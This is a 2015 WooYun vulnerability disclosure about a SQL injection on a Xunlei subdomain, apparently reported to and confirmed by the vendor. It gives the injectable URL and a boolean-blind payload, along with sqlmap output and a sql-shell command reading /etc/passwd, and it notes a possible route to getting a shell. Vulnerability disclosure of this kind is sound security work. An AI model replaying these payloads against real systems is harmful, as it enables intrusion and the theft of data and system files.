当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0107772

漏洞标题:迅雷某分站root权限注入

相关厂商:迅雷

漏洞作者: greg.wu

提交时间:2015-04-14 10:43

修复时间:2015-05-29 19:32

公开时间:2015-05-29 19:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-14: 厂商已经确认,细节仅向厂商公开
2015-04-24: 细节向核心白帽子及相关领域专家公开
2015-05-04: 细节向普通白帽子公开
2015-05-14: 细节向实习白帽子公开
2015-05-29: 细节向公众公开

简要描述:

迅雷某分站root权限注入

详细说明:

注入点:
http://jifenshangcheng.m.xunlei.com/cgi-bin/integra_info?userId=219509333' and '1'='2&peerId=F8A45F540116004V&_t=1428930321760&callback=jsonp1
返回带有字符串 {"counts":"30","statusCode":"-1"}
正常应该是{"counts":"30","statusCode":"1"}

漏洞证明:

GET parameter 'userId' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 21 HTTP(s) requests:
---
Parameter: userId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userId=219509333' AND 9075=9075 AND 'HLmM'='HLmM&peerId=F8A45F540116004V&_t=1428930321760&callback=jsonp1
---
[02:00:23] [INFO] testing MySQL
[02:00:23] [INFO] confirming MySQL
[02:00:23] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[02:00:23] [INFO] fetching current user
[02:00:23] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:00:23] [INFO] retrieved: [email protected]
current user: '[email protected]'
root权限注入,可以读取系统文件,如果读取到web路径(可写目录)的话可以直接getshell了
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: userId (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: userId=219509333' AND 9075=9075 AND 'HLmM'='HLmM&peerId=F8A45F540116004V&_t=1428930321760&callback=jsonp1
---
[02:03:29] [INFO] testing MySQL
[02:03:29] [INFO] confirming MySQL
[02:03:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[02:03:29] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select load_file('/etc/passwd')
[02:03:39] [INFO] fetching SQL SELECT statement query output: 'select load_file('/etc/passwd')'
[02:03:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[02:03:39] [INFO] retrieved:
[02:03:40] [WARNING] reflective value(s) found and filtering out
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:

修复方案:

过滤

版权声明:转载请注明来源 greg.wu@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-14 19:31

厂商回复:

感谢反馈!

最新状态:

暂无